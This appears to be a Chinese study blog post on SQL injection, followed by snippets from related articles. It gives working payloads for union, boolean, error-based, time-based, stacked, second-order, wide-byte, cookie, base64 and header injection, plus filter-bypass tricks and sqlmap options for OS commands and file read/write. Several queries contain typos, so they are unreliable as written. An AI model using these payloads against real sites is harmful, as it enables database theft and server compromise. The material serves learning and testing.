sql注入漏洞的產生需要滿足一下兩個條件:
引數使用者可控:前段傳給後端的引數內容是由使用者可以控制的。
引數帶入資料庫查詢:傳入的引數拼接到sql語句,並且帶入資料庫查詢。
例如:select * from users where id = 1 『 這不符合語法規範所以會報錯。
當傳入id的引數為 and 1=1時
語句為 select * from users where id =1 and 1=1 因為1=1為真 而且id=1也為真,所以返回的結果與 id=1一樣,當換成1=2時因為1=2不成立,所以返回假,頁面如果與
id=1返回不同結果 說明存在sql注入漏洞。
mysql5.0版本之後,mysql預設在資料庫中存放乙個「information_schema」的資料庫,在該庫中,有三個表名:schemata、tables、columns。
schemata表儲存該使用者建立的所有資料庫的庫名,需要記住該表中記錄資料庫庫名的欄位名 schema_name。
tables表儲存該使用者建立的所有資料庫的庫名和表名,資料庫名為table_schema,表名為table_name。
columns表儲存該使用者建立的所有資料庫的庫名、表名、欄位名,資料庫名為chema_name,表名為table_name,欄位名為column_name。
mysql查詢語句:
在不知道任何條件時,語句如下:
select 要查詢的欄位名
limit的使用格式為limit m,n ,其中m是指記錄開始的位置,從0開始,表示第一條記錄;n是指取n條記錄。例如limit 0,1 表示從第一條記錄開始,取一條記錄。
version():當前mysql的版本。
user():當前mysql的使用者。
常見注釋符:# --空格或者/**/
一、union注入
先測試是否存在注入,然後使用order by (數字) 查詢資料表字段的數量,報錯說明大了,然後利用union select 1,2,3....看返回結果**有數字,在返回的數字上輸入想查
詢的 例如datebase等,假如資料庫名為sql接下來
輸入命令查詢表名:select table_name from infomation_schema.tabless where table_schema=』sql』 limit0,1; //這是查詢第乙個表名 根據修改limit後面的
數字 便可以得到想要的表
二、布林注入
1' and length(database())>=1--+ //判斷資料庫的長度
1' and substr(database(),1,1)=『t』 --+ //判斷資料庫第乙個字母的值(substr的意思是擷取,其意思為擷取database()裡的值)
1' and substr(database(),2,1)=『q』 --+ //判斷資料庫的第二個字母的值
1' and ord(substr(database(),1,1))=115--+ //利用ord和ascii判斷資料庫庫名
1' and substr(database(),2,1)=』q』--+ //利用substr判斷資料庫的庫名
1' and substr(select table_name from information_schema.table wheretable_schema=『sql』 limit 0,1),1,1)=『e』 --+ //利用substr判斷資料庫的表名
還可以使用ascii碼查詢, s的ascii碼是115,在mysql中,ascii轉換的函式為ord:』 and ord(substr (database(),1,1)=115--+
三、報錯注入
例如在.php?username=1』 因為引數是1在後面加乙個』在資料庫執行sql的時候會報錯,在返回頁面結果可以看到程式直接將錯誤資訊輸出到了頁面之上,所以可以構造語句利用
報錯返回我們想要知道的資訊。比如:1』 and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ //利用updatexml獲取user() , 其中
0x7e是ascii編碼等同於~
解釋:updatexml (xml_document, xpath_string, new_value);
第乙個引數:xml_document是string格式,為xml文件物件的名稱,文中為doc
第二個引數:xpath_string (xpath格式的字串) ,如果不了解xpath語法,可以在網上查詢教程。
第三個引數:new_value,string格式,替換查詢到的符合條件的資料
作用:改變文件中符合條件的節點的值
由於updatexml的第二個引數需要xpath格式的字串,以~開頭的內容不是xml格式的語法,concat()函式為字串連線函式顯然不符合規則,但是會將括號內的執行結果以錯誤
的形式報出,這樣就可以實現報錯注入了。
四:時間注入
if (length(database())>1,sleep(5),1) //語句的意思是,如果資料庫庫名長度大於,則mysql查詢休眠5秒,否則查詢1。
根據burp抓包響應的時間就可以判斷是否正確,根據這個原理,
使用substr函式:if (substr(database(),1,1)=』s』,sleep(5),1) //如果第乙個字母是s則休眠5秒,以此類推。
修復遮蔽sleep等字元。
五:堆疊查詢注入
(不太懂和直接用布林和時間注入的區別)
堆疊查詢可以執行多條語句,語句直接以;分隔。堆疊注入就是在第二個sql語句中構造自己要執行的語句,例如訪問 id=1』 ,頁面返回錯誤,再訪問 id=1』%23 返回正常,這裡
可使用boolean注入和時間注入或者堆疊注入
堆疊注入:id=1』;select if(substr(user(),1,1)=』r』,sleep(5),1)%23
//這個第二句sql就是時間注入的語句
六:二次注入
存在兩個頁面1.php 和2.php ,其中1.php功能是註冊使用者名稱;2.php是通過引數id讀取使用者名稱和使用者資訊。
訪問1.php?username=test』 在burp抓包得到對應的id 為21,然後訪問2.php?id=21 返回錯誤(因為有乙個單引號引起語法錯誤)
回到第一步1.php?username=test』 order by 1%23,獲取乙個新的id=23,再次訪問2.php?id=23,頁面返回空白;再次回到1.php?username=test』 order by 10%23,獲
取新的id=33,再訪問2.php?id=33返回錯誤(unknow column』10』 in 』oder clause』)說明返回空白頁面為正確,通過測試可以知道有幾個字段,然後聯合union查詢結果
七:寬位元組注入攻擊
輸入id=1』時返回結果發現沒有報錯並且』後方出現乙個\轉義反斜槓,一般情況是不存在注入漏洞的,有乙個特殊情況,資料庫的編碼是gbk編時,可以使用寬位元組注入,寬位元組的
格式是在位址後加乙個%df在家單引號,因為單斜槓的編碼為%5c,而在gbk編碼中%df%5c是繁體字連,單引號就可以成功逃逸,報出資料庫錯誤。然後進行進一步注入。
八:cookie注入
發現url中沒有get引數,但是頁面返回正常,使用burp抓包發現cookie中存在id=1的引數,修改為id=1』然後再次訪問發現報錯,在輸入幾個1=1 1=2判斷是否存在sql注入,接
著 order by ,union
九、base64注入
在url中發現id的引數是經過base64編碼的,就將所有語句也進行base64編碼即可
十:xff注入
通過burp抓包看http請求頭,有頭部引數為x-forwarded-for(簡寫xff)他代表客戶端的真是ip,通過修改xff的值可以偽造客戶端ip,然後在ip位址後測試sql語句進行判斷
並進行注入。
sql注入繞過:
1、大小寫 and and 等
2、雙寫繞過 例如輸入 id=1 and 1=1 報錯 輸入的 and1=1 變成 1=1,可知 and被過濾了,可以寫 id=1 anandd 過濾and 還剩下乙個and可以成功繞過,接下來輸入
order by 3 返回錯誤資訊 der by 知道過濾了or,寫作oorr
3、編碼繞過 由於伺服器會對url進行一次解碼,所以將被攔截的進行兩次編碼
4、內聯注釋:/!and/
sql注入修復建議:
1、過濾危險字元
2、使用預編譯語句
sqlmap:引數
--level 5:探測等級 一共有五個等級 等級越高payload越多也越慢
--is--dba:當前使用者是否為管理許可權
--roles:列出資料庫管理員角色
--referer:http referer頭
--sql--shell:執行自定義的sql語句
--os--cmd,--os--shee:執行任意作業系統命令
--file-read:從資料庫伺服器中讀取檔案
--file-write--file-dest:上傳檔案到伺服器中
sql注入入門
參考文章 正常的語句 select from users where username marcofly and password md5 test 異常操作 在使用者名稱輸入框中輸入 or 1 1 密碼隨便輸入,這時候的合成後的sql查詢語句為 select from users where us...
sql注入入門
一 判斷注入型別 一般查詢語句,字元型和數值型 1.數值,如1 1,1 2 2.後面新增 1 and 1 1 和 1 and 1 2 進行查詢,若1 1返回正確而1 2返回錯誤則為數值型 3.加 若返回正確則為字元型 二 查列數 有待考證 order by num num為數值 三 確定字段位置 s...
「SQL注入「 入門基礎原理
1.sql 注入 sql 注入攻擊是通過將惡意的 sql 查詢或新增語句插入到應用的輸入引數中,再在後台 sql 伺服器上解析執行進行的攻擊,它目前黑客對資料庫進行攻擊的最常用手段之一。2.web 程式三層架構 a.介面層 user inte ce layer b.業務邏輯層 business lo...